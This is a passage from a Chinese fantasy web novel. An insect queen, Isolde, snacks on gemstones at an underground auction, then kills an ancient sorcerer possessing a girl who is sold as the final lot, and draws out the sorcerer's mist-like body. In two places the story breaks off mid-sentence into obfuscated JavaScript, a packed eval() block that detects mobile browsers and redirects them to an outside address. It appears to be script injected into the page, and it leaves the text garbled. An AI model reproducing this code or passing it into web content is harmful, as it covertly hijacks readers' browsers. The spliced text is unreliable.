的座位,周围的目光渐渐灼热到隔着屏障也难以忽视的程度。 “哇哦...” 阿尔法惊奇地看着那些堆满了整张桌子的盒子,那都是伊索尔德刚刚拍下的东西,里面全部都装着闪闪发亮的石头。 伊索尔德一个接一个拆开那些繁琐而精致的包装,简单粗暴地把它们分成两堆。左边的石头都是稀有金属和动力源核心材料,可以拿回去送给卡涅尔,右边的是高能量矿石,简单来说,就是纯度极高的宝石。 伊索尔德把左边那堆整理了一下放进空间纽,在右边那堆里挑挑拣拣,拿出来几颗咬了一口。 “味道还行。”她评价。 尽管早就知道伊索尔德的主食是矿石,这些天也见过她把宝石当零嘴磕的样子,但阿尔法还是感觉自己受到了冲击。 “好吃吗?”阿尔法问。 “嗯...”伊索尔德想了下要怎么形容,她晃了晃手上那颗红宝石,找了一个最贴近的口味,“蔓越莓牛乳味的。” “你别看了,吃不了的。”被阿尔法搂着的灰百合幽幽出声,“虫族吸收能量的方式跟我们不一样,而且你是陶瓷啊,小心硌牙。” “虽然这个形容很诱人,但我真的没有想吃石头。我有基本的常识,其中包括不要进食无法消化的食物这一项,”阿尔法诚恳道,“只是最基本的好奇心而已。” 说到这里,她又转头去问伊索尔德:“所以其他石头是什么味道?” “雪松、抹茶、巧克力、白开水、茉莉、爆米花...有的还行,有的可以中和一下别的口味。对我来说是这样,但是每个虫族的味觉不一样,她们吃起来未必是这样。不过也有那种所有虫族都吃起来感觉差不多的...比如大家都觉得琥珀是蜂蜜味。” 伊索尔德把桌面上摆成一列的宝石挨个挨个指过去,说完后,她又咬了一口红宝石,清脆的咔嚓声在密闭的空间里响起,红宝石拦腰斩断,上面的切面光滑而平整,连一点牙印都没留下。简直比机器切割都更自然而完美。 阿尔法为虫族的敌人默哀了三秒。 在她们闲聊的时候,台上的拍卖还在不断继续,伊索尔德粗略看了眼发现没什么兴趣,继续勤勤恳恳地磕零嘴,时不时买几个没吃过的品种试试味道。等她把自己手上的吃得差不多之后,展台上出现了一件她熟悉的拍品。 ——深海之冕。 它还是那样美丽,珠光宝气这个词在它身上一点也不俗气,那些来自深海的气息被具现化了,当拍卖师将它放上展台时,那剔透的蓝色将看到它的每个人都带入了幻想中的海洋。那是一望无际、永远没有尽头的地方,是人类终其一生也难以抵达的尽头,也是行走在陆地上的人无法抵抗的诱惑。 深海之冕的价格一路攀升,伊索尔德看了两眼就移开了视线,她现在更关注下一件拍品。 “珍宝”。 她饶有兴致地打开拍卖目录,翻到压轴品那一页。那里没有任何图片,整页都被涂成了纯黑色,只有一行简短的介绍词用烫银的花体字印在页面最中心。 “那是比时间更伟大的奇迹,是凌驾于生命之上的、属于神明的作品。” 主办方如此宣称。 44.“珍宝” 和介绍词的神秘不同,“珍宝”的出场十分平淡。 拍卖师复述了一遍目录上的宣传词,然后深深鞠了一躬,径自下台了。取代她走上来的是消失了一整个白天的鸦,她单手掀开了后台的厚重帷幕,缓慢而坚定地推着一个坐在轮椅上的女孩走到最中心。 鸦穿着庄重的礼服,她拿起了备用的话筒,语气沉沉,透着一股说不出道不明的麻木。 “由于本次拍品特殊,现由我主持接下来的拍卖事宜。”她言简意赅说明了自己为什么会出现在这,目光沉沉在台下一扫而过,仿佛完全没看到诺贝塔和伊索尔德似的。 底下原本有些混乱的人群也平息了下来,再次将注意力挪到拍卖会上去。 “这世界上最伟大的是什么?相信大家都有这样的疑惑,在异能、精神力及各种超出常识之外的力量活跃的现在,答案往往是多样的。有的人会说是科学,有的人会说是神明,还有的人会说是自己,但地下城对此有自己的答案......” 鸦垂着眼,像一段被设置好的程序那样毫无感情地念着开场白,尽管语速流畅,但伊索尔德和诺贝塔都看得出她脸上的紧张和不安,前者是观察力超常,后者是认识多年已经对她脸上每个细微表情都足够熟悉,只需要一个照面,诺贝塔立刻就判断出了鸦现在的情况:她被什么控制了,之前的计划恐怕也失败了。 尽管台上的每个画面都会被展现在观众的面前,但是鸦熟知地下城的监控布局,也同样熟悉怎样躲过它们的勘探。在不为人知的角落里,她几乎是一字一句、含着血泪念出了那段话,那其中掺杂着悔恨、懊恼、痛苦、不甘,过分浓郁的情绪像被打翻的颜料一样在她眼里晕染,除了她身边那个坐在轮椅上的女孩,几乎没有人发现她的异常。 “答案,就是魔法。” 鸦说出了一个堪称荒谬的答案。 排山倒海的质疑和困惑将她淹没了,但鸦依然不管不顾地说了下去:“众所周知,整个星际所有种族的文明都是从三千九百八十一年前开始的,不论是人类,还是幻想种,亦或者更遥远的边际文明,所有智慧生命的记忆都始于三千九百八十一年前的‘大灾难’。大灾难带来力量和技术,带来文字和语言,文明开化就此而始,但任何文明都不可能一蹴而就,原始社会不可能一夜跨越至工业时代,我们也不可能仅仅用三千年就构筑出如此庞大而完整的星系文明,我们必定有一个过去,但这个过去却无人知晓。‘大灾难’之前的事情呢?为什么从没有书籍、传闻、故事流传下来,我们的历史果真如此短暂吗,还是说有谁刻意抹去了那些痕迹,就为了维持这个‘假象’?” “你要在这里跟我们上历史课吗?鸦女士。”一位中年人开口,她坐在诺贝塔左手边几个座位,手上拿着一个从侍应生那里夺来的备用喇叭,看起来很不耐烦鸦刚刚所说的这番言论,“我们的历史存在断代不假,我个人也很感谢您对于历史的关注,但请注意场合,这里是拍卖会,不是课堂,难道说是你们地下城拿不出拍品,所以故意出场说了这么一番与今天的主题毫不相关的胡话吗?” 鸦,或者说控制着鸦的那个存在笑了一下,笑容僵硬而扭曲,看着令人不寒而栗。 “我认同您的说法。”她彬彬有礼地说,“所以,接下来我们需要一点证据,来证明所谓的‘魔法’的确存在,证明曾经有一个比现在伟大得多的文明存在于此。” 鸦一点点伸出手,摘下了轮椅上女孩的面具。 她有一双琥珀色泽的眼睛,笑容柔软而甜蜜,黑色的头发被发带扎在身后,整个人的气质令人如沐春风,不论从哪个方面来看,都是再普通不过的一个人类少女。 这个普通的人类少女微笑着,漂亮的眼瞳扭曲成了两个小小的漩涡。她瞥了一眼下面的人,一整排的人都在那一秒钟突然死去了,他们的身体老化而干瘪,像木乃伊一样,被夺走了生前死后的所有时间。 死亡猝不及防地降临了,大厅里开始响起尖叫。 “晚上好。”她说话了,清脆得像初秋刚结出来的果实,“如同鸦所说的那样,我就是今晚的拍品。嗯,怎么说呢,因为是第一次所以很新鲜呢,如果哪里做得不好,还请不要介意。” “我知道鸦所说的事情很难令人相信,”她有些抱歉地笑了一下,“她不太擅长说服别人,所以还是我来吧。虽然听起来很像幻想,但魔法确实存在过哦?不如说,我们的星际里都有幻想种了,你们为什么会认为魔法是不存在的呢?” 她眼里的漩涡流转起来,许多人的眼神变得空洞,摇摇晃晃站起来,开始无差别攻击旁边的人。 而始作俑者依然微笑着。 她像说一个秘密那样悄悄地、小声地说:“它明明无处不在,各位。” —— 看到女孩面具下的脸之后,诺贝塔打翻了自己手上的酒杯。 酒杯翻转,色泽鲜艳的酒液在空中划出漂亮的弧度,顾不上周围其他人的反应,诺贝塔立刻伸出手想拦住它们。 她的手指在冰凉坚硬的杯壁一掠而过。 哒。 隐秘而轻微的声响在她的手腕下方响起,那杯即将洒落的酒被一只伸出来的手接住,稳稳托在了掌心。 “我就说她被绑架了吧。”伊索尔德托着那杯酒,手指在玻璃壁上轻轻敲了一下,她的声音听起来十分散漫,刚刚询问诺贝塔时所展现出来的模样也好像只是例行事项。 她把酒杯放回诺贝塔面前的桌子上,连眼神都没有偏移一分。 “她刚刚说了魔法...”灰百合紧张地拉了一下伊索尔德的袖口,它还记得前几天她所说的【使命】,如果真的要不计一切代价抹消前代文明的含义,恐怕鸦刚刚所说的内容也是不应该被人听到的。 “啊,没关系。”伊索尔德安抚它,“这没什么大不了,就目前的情况而言,还在处理范围之内。” 阿尔法:“目前为止?” 也就是说目前为止的场面还可以控制,但再继续就糟糕了的意思吗?! “你那么紧张干嘛,就算工作失败了也不会骂你的,放心好了。”伊索尔德想了想,“这种大规模的情报泄露肯定需要用到混淆,知道的人数多少决定了混淆认知范围大小,我不太会用这个,一口气用太多次的话,可能有人会变白痴。” 她微微吐了口气,有点苦恼的样子:“如果有人变白痴的话,之后不太好解释。”毕竟这个世界上不存在去了一趟拍卖会还能变傻的道理。 “不过地下城的水比我想得要深啊...不,应该说这太傻/逼了吧,我本来还以为会写出那种东西的术士应该比较讲究仪式感,再怎么也会弄点陷阱来试探下,结果直接一开始就自爆了啊!简直毫无成就感。” 伊索尔德毫不留情地吐槽:“不说破还没关系的,现在这么一弄等会儿就只能直接上手了,啊啊,好麻烦,虽然我不讨厌这种方式,但果然敌人太笨了也提不起来精神。” 灰百合虚着眼看她:“是我的错觉吗?你刚刚好像在吐槽诶?” “因为太无聊了,”伊索尔德很不客气地说,“ta应该是不知道为什么最近发现了我的存在,本来打算进行捕杀计划,结果现在打算捕杀捕获二合一了,这么坦然无畏地把这些东西讲出来就是觉得我肯定没办法阻止ta,什么意思,这么自信外面不会知道这里发生的事情吗?” 伊索尔德总结:“看不起我啊。” 阿尔法:“...不,我觉得人家可能也不是这么想的。” 尽管只在异世界生活了半个月,但阿尔法觉得应该没有人敢于小看一只虫族。还是一只看起来刚成年不久、肉眼可见在族里拥有崇高地位的虫族。 “可能ta不知道你的存在?”阿尔法提出这一说法,“万一ta是误打误撞,原本就打算这么做呢?话说,ta到底打算做什么啊,用这些人复辟魔法文明吗?” 如果是这样的话,阿尔法会客观质疑一下这位的智商。 毕竟不管怎么说,从ta目前做的这些事情看起来,都毫无可行性...... “魔法文明之所以覆灭是因为被‘忘记’了,”伊索尔德托着脸,看轮椅女孩继续着鸦的工作,热情而敬业地上演我卖我自己的神秘操作,“如果有足够多的人相信它是存在的,说不定还真的会有魔法出现,但也很弱小。因为跟现在的世界格格不入,所以光是存在就很困难了。说到底,现在的世界,根本就不需要魔法。” 说到后面,她的语气几乎可以算是冷酷了。 “唯心主义啊...”苏珊喃喃。 “是吧?我小时候也这么觉得。”伊索尔德哼笑了一下。 “请问...你刚刚说的‘处理范围’是什么意思?”诺贝塔声音在一旁响起,干涩而艰难,似乎连说出这句话对她而言都是一种偌大的折磨。 “就是工作啦。”伊索尔德转过头去看她,笑眯眯的,对周围一片混乱的景象视若无睹,“怎么,你不知道吗?比如说,地下城里存在着‘绝对不能被幻想种发现的东西’这回事?我会怀疑你跟鸦的友情的。” “...那只是个传言。”诺贝塔沉默半晌。 “恭喜你,传言成真了。” 伊索尔德打了个响指。 “不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“诶?!”阿尔法惊呆了,这跟她以为的发展不一样啊,她还以为会看到伊索尔德跟那个女孩大战三百回合呢。 伊索尔德看出她在想什么,有些无语地笑了,她扶额:“你的好奇心真的哪天会把你害死的。” 被叮嘱了的灰百合点点头:“其他人怎么办?” “能避难就避难吧,不能的话,听天由命咯。”伊索尔德站起来,大步往台上走去,她走得很随意,轻描淡写把那些擦过来的流矢子弹丢了回去,场内已经完全陷入了混乱,一半是被台上那个东西影响,一半是被周围人误伤不得不反击自卫。各式能量到处乱飞,连侍应生都叛变,提前一步锁死全部出口。活像什么大逃杀的现场。 “我明白了。”灰百合凝神,忽然提问旁边跟盆栽一样安静而无害的诺贝塔,“你能在十五分钟之内把这些人引导去避难区吗?” 地下城的设计师在建造这座奇伟建筑时考虑过多种可能性,避难区的建设也是其中之一。它能容纳数十万人共存,容纳会场内的这点人来说绰绰有余。 诺贝塔勉强回神:“可以是可以,但他们...完全没有理智。不会有人听的。” “这个你不用管,伊索尔德会让他们听话的。”灰百合扭头冲伊索尔德喊了一声,“你快让他们安静下来!” “好的好的。”伊索尔德背对着她们挥了挥手,如有实质般的精神触须随着她的动作眨眼间覆盖了整个场地,所有人的动作都停滞下来,因为被控制,连眼珠挪动一下都做不到。 王虫的精神力太过可怖,轻而易举地碾压了他们的大脑,他们甚至连反抗的想法都没来得及出现,就顺从地交出了身体的控制权。 “这样可以了吗?”伊索尔德的声音远远传来。 “可以了。”灰百合急急忙忙把阿尔法放到诺贝塔的膝盖上,示意后者抱好,自己则跳了上去,熟练地缠在了诺贝塔的轮椅扶手上。 “他们会跟着我们一起移动,只要在十五分钟内赶到避难区就算胜利。诺贝塔的轮椅比步行速度更快,我们用这个赶路。”灰百合严肃地说完,又看了一眼诺贝塔。 轮椅上的诺贝塔恍惚点头。 一、二、三… 灰百合大喝一声:“十五分钟大逃亡,快跑!” 诺贝塔一个激灵,下意识开启了轮椅的无障碍地形跑功能,连人带轮椅嗖地一声窜出去老远。 在她身后,无数人也跟在后面一起奔跑起来。 阿尔法扒拉着她的腿往后望,惊喜道:“哇,丧尸围城诶!” “不对,应该是丧尸跑跑。”灰百合反驳她。 人形载具诺贝塔:这好像不太对吧? “话说,伊索尔德不跟我们一起走吗?” “她有自己的事情要做。不然你以为她为什么要我们快跑?” “为什么?” 灰百合啧了一声:“还不是因为那个家伙打起架来就上头,待在那里…” “会死的。” 45.圆舞曲 伊索尔德小时候很喜欢看故事书,她不挑类型,只要觉得有趣,不管什么样的剧情都照单全收。恶龙和公主的、勇者和魔王的、邪恶的神明与人类、又或者善良的人鱼和狡猾的渔夫。在那些故事里,每个角色都有着或单一或复杂的底色,善良不一定代表着正义,而毁灭有时候是为了拯救。 数不清的矛盾组成了这些故事的主基调,它们像一面面镜子,公正冰冷地展现出那些真切存在于这个世界之中的问题,并让看到这些的读者开始不由自主思考——该以什么样的标准定义情感、正邪、动机,以及自己? 这些问题是很难的,很多人活上一辈子也弄不明白,毕竟他们首先会被生活的环境所影响,进而有意无意地忘记去思考这些无用之物,要很久,或许十几年,或许几十年,他们才有空闲坐在长廊下面静静思考自己的生命,思考自己的所作所为,以及驱使自己做出这些事的真正的理由。 普遍而言,这是个很漫长的过程,但所幸伊索尔德很聪明,她没花多少时间就找到了自己的答案,就像从雪地里找出一把闪闪发光的银钥匙那样简单。 她的答案是:由我自己来定义。 抛去世俗所尝试施加于一个智慧生命的全部,抛去种族、朋友、老师等一切可能对自己造成的影响,只纯粹按照自己的内心决定自己的选择。 这看起来很难,但对伊索尔德来说,出乎意料的简单。她似乎就是这样的存在,完全忠诚自我,并坚定不移地按照自己的心意前进在未知的道路上。那条路或许已经有谁走过了,又或许没有,荆棘和浓雾沉默地等待着她的到来,在那漆黑一片的未来中,只有她自己才是那个散发着光的存在。 以这个角度思考,毫无疑问,伊索尔德的性格相当自我。 也因此,当她在十岁那年知道自己未来将会于前代文明不死不休之后,她的第一反应是思考。 为什么要这么做? 可以给出的理由有很多,比如前代文明是病毒;比如这是使命,甚至幻想种就是为此诞生的,这是她们生存的意义;比如她本来就应该这样做。没有为什么。 她一边思考,一边继续看那些故事书。 由于看过的类型太多,导致她已经提不太起兴致。故事太套路,剧情很刻板,角色说着差不多的话,在大同小异的世界里做着差不多的事情。 她逐渐领悟到“无趣”和“无聊”的真正含义,在那些单调而重复的叙事中,她想起十岁那年塔纳斯所说的故事。 【这世界曾有一个魔法文明,当她成年并开始游学之后,可能会在许多地方见到前文明的遗物。她应当消灭它们。】 塔纳斯用的词是“应当”,言外之意是,她也可以选择不做。 大祭司看出了她的问题,默认她可以不履行自己的使命,默认她可以等到长大后真正面对时再自己做决定。 伊索尔德今年十七岁,她刚刚成年不久,在第四星系的地下城碰见了自己生命里第一个与前代文明相关的术士。 术士制造了不老泉,看起来坑杀过不少幻想种,ta谨慎地守护着一个被公开的秘密,当听到阿斯塔这个姓氏时,脸上流露了刻骨的仇恨。 那仇恨如此深刻,像密密麻麻的长针,不止对准她一个,还对准她背后的虫族。 伊索尔德决定杀了ta。 —— 台上的女孩还坐在轮椅上,她没有尝试与伊索尔德抢夺那些人控制权,也没有阻挠那些人被带去避难,那个女孩壳子里的东西相当坦然自若地看着伊索尔德向自己走来,脸上甚至为此流露出一个满怀恶意的微笑。不知为什么,她并未催促,也不焦躁,她似乎握有什么必胜的筹码,对自己的胜利坚信不疑。 伊索尔德看出来了这一点,但很无所谓。她确实聪慧得有些过分了,以至于那些幽微晦涩的情感在她面前一览无遗,她其实总能很好地把握别人在想什么,只是懒得去理会。理论上来说,她也能明白苏珊的想法,但出于种种原因,她有意无意让自己不去思考、揣摩灰百合的情绪。 要彻底地解释这一行为的理由会让很多东西变得复杂,但如果采用最简单也最直白的说法,那么其实是出于对“朋友”的珍惜。 她没有太多的情感,但她知道什么是“珍贵”的。 苏珊很珍贵,塔纳斯很珍贵,虫族很珍贵,母亲很珍贵......凡是珍贵的,伊索尔德都愿意竭尽全力去保护它们。 银发绿眼的王虫走上了会场的最前方,她的伪装已经彻底褪去了,银白的发丝披在纯白的西服外套上,又被随意捋到身后,那双深绿色的眼睛里有金色的漩涡旋转,漩涡的颜色和面积都在不断加深扩大,浓烈的黄金色一点点浸染这双眼睛,让她的眼神都不由自主带上了一点冷漠而残酷的神性。 金色眼睛的王虫审视着面前这个亟待清理的“遗物”,如同审视着一个不算枯燥但也很难称得上有趣的故事。 她想了想,直白道:“你打不过我。” 女孩承认了:“没错。几百年才出现一只的王虫怎么会是我这种小角色能够打败的呢?你的力量让人望尘莫及,不止我,恐怕这宇宙中没有什么能够伤害到你。” 伊索尔德询问:“即便这样,也要继续吗?” 女孩微笑了,语气很轻佻:“这可不是我们说停下就能停下的事情啊。” “的确如此。”伊索尔德平静地说,“既然这样,告诉我你的名字吧。” “名字?”女孩有些疑惑的样子,她似乎真的认真想了想,然后摇了摇头,“没有那种东西。我不记得了。” 前代文明毕竟是一个太遥远的名词,与这个名词一同存活下来的生命要么彻底消亡,要么隐匿在了阴影之中。更何况连最长寿的精灵也做不到把生命里每一件事铭心刻骨,眼前这个术士比精灵活过的时间比还要久,名字这种东西,不记得也是情理之中。 伊索尔德不问了,她的态度变得认真起来,和她刚刚对灰百合乃至诺贝塔展现出来的散漫截然不同。 “我明白了。”她说,“那么,我相信你也同样接受了自己死亡的命运。” 女孩又微笑了,有些嘲讽,似乎是觉得这只王虫太天真,又或者只是单纯觉得她在说大话:“如果你这样认为。”想了想,她又说,“这其实是别人的身体。名字...似乎是叫雀吧。你要是把我杀死了,她也会死的。不过,你不在乎吧?一个陌生的生命和必须被抹杀的病毒,你们从来不是会在这种选择题面前犹豫的家伙。” 听起来她似乎见过许多幻想种,从她还活着这一点来反推结果,那些幻想种大概都死了。 同类的死亡并没有给伊索尔德带来多余的感触,她依然平静到不可思议,看起来丝毫没有动摇的痕迹。 她不悲伤、不愤怒、不喜悦,甚至也不冷漠。这种反应是“雀”所没见过的,她觉得很陌生,也很奇怪,这两种情绪叠加,几乎让她感觉到了一点恐惧。 在这恐惧迫近的前兆之中,伊索尔德的眼睛越发明亮了。“雀”放弃去思考那些不重要的事情,紧紧盯着她,也进入了战斗状态。 短暂的静默。似乎只有一呼吸那么长,又似乎漫长到不可思议。伊索尔德抬起手,一把寒光闪闪的小刀出现在了女孩的脖颈旁。 “雀”没有看到任何可以被称为攻击的移动轨迹,伊索尔德似乎只是抬了下手,那把刀就已经压在了她的肩膀上。与其说是伊索尔德发起了攻击,不如说是“雀”主动把自己身体靠在了那把锋锐的小刀上。 空间的能力,不算罕见,但能运用到这种地步...她想,这只王虫还挺强的。 下一秒,“雀”从小刀下面消失了,她的姿态相当从容,只是轻轻推着轮椅后移了一小段距离,她之所以能逃脱的理由很简单,在那把刀抵住她的时候,伊索尔德脚下亮起了一个构造相当复杂的圆环。那种圆环拥有“禁锢”的力量,它禁止了伊索尔德的移动,因此“雀”才能那样平淡地离开死神的刀锋。 伊索尔德轻轻“啊”了一声,不知道是在自言自语,还是在与“雀”说话。 “是魔法阵啊。”她有点头疼的样子,“差点忘记你是一个术士了。已经做到这种程度了吗?我还以为你的魔法复兴论刚刚开始呢。” 魔法是唯心主义的产物,如果不被相信,就不会具备太大威力。就圆环的威力来看,“雀”恐怕已经让不少人相信了魔法的存在。 “威力不错。”伊索尔德点评了一句。她手腕一抖,那圈发着白光的圆环轻轻松松被抖碎了,像麻绳一样碎成了好几块,又在坠落的过程中变成了漫天光点。 接下来的发生的事情很流水线,很循环,很千篇一律——伊索尔德攻击“雀”,“雀”用圆环禁锢她的行动,两边各有损伤,但看起来“雀”更吃亏一点,毕竟伊索尔德毫发无损,她的脸色却很差,嘴唇都微微发白。 魔法的使用次数是有限制的,看“雀”的样子,她马上就要到极限了。 其实伊索尔德有很多机会彻底杀死“雀”,那点禁锢无关痛痒,对她也起不了太多作用。虫族数百年才能孕育出来的王虫毕竟不同凡响,只说最开始,她就能直接把那把刀刺下去,轻松结束术士的性命。 但她没有这么做,究其原因,是因为她其实本质上是个有点恶劣、喜欢玩弄猎物的家伙。 “雀”看出来了这一点,但她没生气,不如说这正是她想要的。她认为这是来自强者的傲慢与轻敌,对陷阱不屑于顾,盲目于自身力量,喜欢逗弄猎物,从没想过自己也有可能成为其中一员。 地下城用来举行拍卖会的会场面积很大,几乎占满了下层的一半。在失去了观众之后,这里更是显得空旷异常。之前的混乱同样影响到了展示台,不知道被谁撕扯下来的帷幕堆在地上,掩盖那下面越来越明亮的光芒。 “雀”是个术士。 “雀”是个活了很久的、优秀的术士。 术士不擅长近战,她们更习惯采用的手法是提前布下陷阱,笑看猎物自己毫无自觉地迈入无可挽回的深渊。 作为一个优秀的术士,“雀”很明白怎样让自己的优势最大化。比如,在对手发觉之前在整个会场地下埋下禁忌魔法阵。又比如,趁着对手的大意,缓慢而无声地向其注入魔力,然后在合适的时候触发。 地板上的线条越来越亮,已经不再是帷幕所能够掩盖的了。那些线条比之前的禁锢圆环更加复杂而繁琐,每一笔都像沉淀了无数人的心血,天然带有一种不可说的恐怖威力。那是凝聚了时间与智慧的禁忌法术,是任何人都难以直面锋芒的、前代文明的结晶。 一轮白色太阳从阵法中升起,它的光芒耀眼无比,又显出一种神圣而不可亵渎的威严来。太阳悬挂在伊索尔德的头上,它越发膨胀,吸收着飘逸在空气中的某种物质,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864361|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来像被灌注了太多气体的气球,抵达临界点时就会毫不留情地爆炸。 那爆炸一定具有无与伦比的威力,也一定会带来惨痛的后果。 伊索尔德又被禁锢圆环困住了,她抬起头去看那轮太阳,金色的眼睛里没有任何濒死者应有的感情。 “这是神代的法术。”刚刚还一直在躲避的女孩大大方方推着轮椅走到不远处,欣赏着这幅景象,她的唇边衔着势在必得的微笑,“王虫,力量没有让你学会谦逊,真是遗憾。你最看不起的弱者将要杀死你了,感觉怎么样?” 伊索尔德笑了。 她看起来还是那么平静,目视着那轮膨胀的太阳向自己逼近。恐怖的威压掀起了猛烈的风,她的头发被吹得不停往后飞去,银发在空中狂舞,而那双黄金般的眼瞳里出现了“雀”看不懂的东西。 伊索尔德没有尝试挣扎,她站在那里,静静地被白色的太阳淹没了。 剧烈的白光以她为中心爆裂开来,“雀”被这股力量冲击得匍匐在地,身上早早戴好的数十件防御用具一个接一个地破碎,她一只手挡在眼前,另一只手牢牢抓住了帷幕后面藏着的把手。 她很少用这个招数,因为消耗太大,威力太大。白色太阳不分敌我,平等地摧毁周围一切,而为了引诱对手,她不得不亲身上阵,向对方展示自己的弱小。这意味着她同样承受着死亡的风险,尽管每一次都会准备好足够的防御用具来进行抵消,但所花费的代价实在太大,如果对手不够强大,就很容易出现浪费的情况。 “雀”比较喜欢利益最大化,所以她会用其他的方法解决不那么强大的对手,只将白色太阳作为杀手锏使用。 这是她第一次在开始就使用这招,从某种意义上来说,也代表着她对伊索尔德的认可。 幻想种强大的有许多,但到伊索尔德这个份上的却寥寥无几。她几乎让“雀”想起魔法文明还未彻底覆灭时那些立于金字塔顶尖的魔法使。一样的年轻,一样的天赋异禀到不讲道理。她们的成长规律是跳跃而违反常理的,似乎存在的全部意义就是向全世界证明有些人就是生而知之,无所不能。 “雀”还记得那群人另外的名字。 ——贤者。 白色太阳的爆炸渐渐消失了,残留在场内的是它所留下的余韵。拍卖场已经完全变得破破烂烂的了,网状的裂纹以白色太阳的坠落为中心往外扩散,外面的一切都被它搅弄成几乎看不出本来面貌的碎片,最中间是一个巨大的深坑,直径和深度在两三百米左右。 在这深坑中,太阳的光辉开始一点点黯淡。“雀”移动到深坑边上,决定为伊索尔德收尸。 幻想种对她来说是很重要的,就算死了,也要物尽其用。而且不知道为什么,她的心底出现了不安。伊索尔德在白色太阳底下的那个笑像一枚投进深潭的石子,拨乱了“雀”的心绪,让她甚至不敢去思考对方是不是有活着的可能性。 那不可能。她自己否定率先否定了这一观点。这是以神明为标准所制作的毁灭性法术,就算经过时间威力有所衰弱,也绝对不是一只王虫所能抵御的。 “你这样觉得吗?”有个人在她轻轻地说。 “雀”瞪大了眼睛,她当机立断,抛弃了轮椅,让机器用最大功率把自己往旁边扔去。她感觉到自己脆弱的身体因为过快的速度在扭曲,骨头断折,内脏震荡,模糊的景象在她眼前一闪而过,在这远超常规的速度中,她全身内外都开始出现不同程度的破损和出血。 像瞬移一样,“雀”的身影消失在了原地。 紧接着,她停了下来。 伊索尔德一只手背在身后,一只手拿着小刀。她的速度比“雀”更快,很轻易追上了试图逃离的术士,甚至能稍微降低移速,将自己与她保持在相对静止的状态。 那把小刀有些轻浮地挑起了“雀”的下巴,迫使她在一切都变得模糊的世界中将伊索尔德的模样清楚地刻印在眼底。 她看起来完好无损,连身上的白西服都没有破损半点,略长的银色头发整齐利落地披在身后,好像她走入的不是一场爆炸,而是一场细雨。 在这场细雨之后,“雀”看到了从自己身体里喷涌而出的暴雨。 小刀轻柔而不容拒绝地划开了她的脖颈,温热而鲜艳的血液勃发而出,稀稀疏疏地落在地上,将红色的地毯浸染得更深。 “你输了。还是不愿意告诉我名字吗?” 她听到王虫在她耳边说话。那只王虫将她揽住了,像一个有礼貌的舞伴一样接住了将死的“雀”,舞伴带着她落到了地面,甚至还轻轻转了一个圆。 她们几乎不像是在厮杀了。像跳舞,有点暴力的舞。 “咳...”她呛了一下,用最后的力气挥开王虫的手,跌跌撞撞攀在刚刚被自己丢弃的轮椅上。 很巧。伊索尔德把她放下来的地方是那个深坑的旁边。 “雀”放弃去思考王虫为什么能活下来这件事了,在事实面前,一切理由都无关紧要。她活下来了,自己要死了,这就是全部,不需要知道更多。 生命力从身体里流失的感觉并不好受,她曾经以为自己对此习以为常,到现在发现那只是一种自我欺骗。她还是讨厌这种感受,不自觉拧起了眉。 “我不记得了。” 在生命的最后,“雀”漠然地说。 “我不记得名字那种东西了。” 46.雾团 “那你还记得什么?” 伊索尔德坐在废墟的边缘,挑挑拣拣找了一块还算干净的地方坐下来。她十指翻飞,细密的精神丝线探入那道被划开的伤口,往里深入。“雀”坐在她旁边,原本裸露的伤口越发骇人,露出里面白森森的骨肉来。 “什么都不记得了。” “雀”坐在她旁边,被精神力强压着一动不动。她看起来死气沉沉的,不知道是因为自己的失败,还是什么别的原因。 “一点都不记得了吗?”伊索尔德一边随口跟“雀”聊天,一边专注地从她的伤口中尝试着抽离某种灰白色的雾气。 这雾气是“雀”的本体,祂寄宿在这个少女的身体里,因为濒死而短暂地与这具身体分离。消灭“雀”所寄宿的身体并不意味着她的死亡,这些介于实体和虚幻之间的雾气才是重点,只有把这些雾气彻底清除干净,她才不会再复活。 “你应该是人类吧?记忆力有这么差吗?”伊索尔德困惑,“我记得术士都是一群记忆力很好的家伙。” “说得好像你见过术士似的。”她哼了一声,“我就是忘记了。年龄、名字、来历一概不知,残存的记忆也不过是一点微不足道的知识。你的算盘要落空了。” “那也没什么。本来就是为了打发时间才想问问你。”伊索尔德抓出了更多的灰白色雾气,它们在空中凝聚成团,还差一点就能组成一个人形的轮廓,“地下城大概在五百年前建立,你至少活了有五百年。不过说到这里,我的确有些疑惑。” 她的手指落在“雀”的肩膀上,亲密而饱含杀机:“你为什么想要活这么久呢?我检查过了,不老泉上面铭刻的阵法是对于时间的更改,你把那些偷走的时间都用在了自己的身上。据我所知,术士并不是一个追求永生的存在。” 术士是一群科研狂魔。她们的本职工作是研究并解构魔法,其中并不包括对寿命的追求,其实就算追求了也没什么用,毕竟工作环境实在太危险,她们总是死在各种各样的意外里,平均寿命远远低于理论寿命。 “雀”觉得这只虫族的话有点太多了,她有点疲惫,天花板早在刚刚就被轰碎,静谧的夜风垂落而下,像纱幔一样轻轻拂过她的脸颊。那晚风如此柔软,她几乎要睡过去了。 再等一等。她想。虫族明显还不怎么熟悉自己的精神力,她还要好一会儿才能完成这个琐碎的工作。 等到伊索尔德把她的本体彻底抓出来,她就可以永远地睡过去了。 想到这里,她忽然发现,“我”的确要死亡了。 这个念头陡然具备了无与伦比的冲击力,让她刚刚的无动于衷都显得有些奇怪,她应该是不想死,没有人想死,但有这样一只虫族待在自己身边,活下去这件事似乎同样希望渺茫。 她无缘无故想到了一些东西,一些碎片,一些可以被当做幻象,也可以被认为是走马灯一样的东西。 “我...”她有些茫然地开口了,“好像在等一个人。” 伊索尔德原本以为她不会开口了,听闻此言,抬起头来:“什么?” “雀”继续说了下去,连她自己都弄不清楚为什么突然有了如此多的倾诉欲,她好像只是不愿意记得这些东西的人只有自己,既然这里没有别的听众,那么,讲给这只虫族听也不是不可以。 “她说要我活下去。” 